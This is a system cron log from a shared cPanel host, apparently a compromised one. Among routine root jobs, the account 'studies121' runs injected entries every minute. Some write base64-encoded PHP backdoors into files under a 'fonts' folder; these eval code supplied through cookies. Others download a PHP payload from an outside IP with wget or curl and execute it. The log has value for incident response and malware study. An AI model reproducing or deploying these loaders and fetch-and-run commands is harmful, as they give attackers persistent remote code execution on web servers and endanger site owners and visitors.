Aug 31 08:25:01 ip-184-168-122-23 CROND[28877]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:26:01 ip-184-168-122-23 CROND[29066]: (root) CMD (/usr/local/installatron/lib/cron.updater.sh)
Aug 31 08:26:01 ip-184-168-122-23 CROND[29067]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 08:26:01 ip-184-168-122-23 CROND[29068]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:26:01 ip-184-168-122-23 CROND[29069]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:26:01 ip-184-168-122-23 CROND[29073]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 08:26:01 ip-184-168-122-23 CROND[29072]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 08:27:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Aug 31 08:27:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
Aug 31 08:27:01 ip-184-168-122-23 CROND[29252]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 08:27:01 ip-184-168-122-23 CROND[29253]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 08:27:01 ip-184-168-122-23 CROND[29255]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:27:01 ip-184-168-122-23 CROND[29254]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:28:01 ip-184-168-122-23 CROND[29371]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 08:28:01 ip-184-168-122-23 CROND[29375]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:28:01 ip-184-168-122-23 CROND[29373]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 08:28:01 ip-184-168-122-23 CROND[29374]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:28:01 ip-184-168-122-23 CROND[29376]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 08:29:01 ip-184-168-122-23 CROND[29457]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 08:29:01 ip-184-168-122-23 CROND[29460]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 08:29:01 ip-184-168-122-23 CROND[29461]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:29:01 ip-184-168-122-23 CROND[29459]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:30:01 ip-184-168-122-23 CROND[29567]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Aug 31 08:30:01 ip-184-168-122-23 CROND[29566]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 08:30:01 ip-184-168-122-23 CROND[29572]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 08:30:01 ip-184-168-122-23 CROND[29575]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:30:01 ip-184-168-122-23 CROND[29576]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 08:30:01 ip-184-168-122-23 CROND[29573]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 08:30:01 ip-184-168-122-23 CROND[29579]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 08:30:01 ip-184-168-122-23 CROND[29577]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:30:01 ip-184-168-122-23 CROND[29578]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 08:31:01 ip-184-168-122-23 CROND[29760]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:31:01 ip-184-168-122-23 CROND[29762]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 08:31:01 ip-184-168-122-23 CROND[29765]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 08:31:01 ip-184-168-122-23 CROND[29763]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 08:31:01 ip-184-168-122-23 CROND[29761]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:32:01 ip-184-168-122-23 CROND[29869]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 08:32:01 ip-184-168-122-23 CROND[29871]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:32:01 ip-184-168-122-23 CROND[29872]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 08:32:01 ip-184-168-122-23 CROND[29873]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:32:01 ip-184-168-122-23 CROND[29874]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 08:33:01 ip-184-168-122-23 CROND[29972]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 08:33:01 ip-184-168-122-23 CROND[29974]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:33:01 ip-184-168-122-23 CROND[29975]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:33:01 ip-184-168-122-23 CROND[29976]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 08:34:01 ip-184-168-122-23 CROND[30068]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 08:34:01 ip-184-168-122-23 CROND[30071]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 08:34:01 ip-184-168-122-23 CROND[30072]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:34:01 ip-184-168-122-23 CROND[30073]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:34:01 ip-184-168-122-23 CROND[30074]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 08:35:01 ip-184-168-122-23 CROND[30183]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 08:35:01 ip-184-168-122-23 CROND[30184]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 08:35:01 ip-184-168-122-23 CROND[30186]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:35:01 ip-184-168-122-23 CROND[30189]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 31 08:35:01 ip-184-168-122-23 CROND[30190]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 08:35:01 ip-184-168-122-23 CROND[30188]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:35:01 ip-184-168-122-23 CROND[30192]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 08:35:01 ip-184-168-122-23 CROND[30193]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 08:36:01 ip-184-168-122-23 CROND[30379]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 08:36:01 ip-184-168-122-23 CROND[30380]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:36:01 ip-184-168-122-23 CROND[30383]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:36:01 ip-184-168-122-23 CROND[30382]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 08:36:01 ip-184-168-122-23 CROND[30385]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 08:37:01 ip-184-168-122-23 CROND[30500]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:37:01 ip-184-168-122-23 CROND[30501]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 08:37:01 ip-184-168-122-23 CROND[30502]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
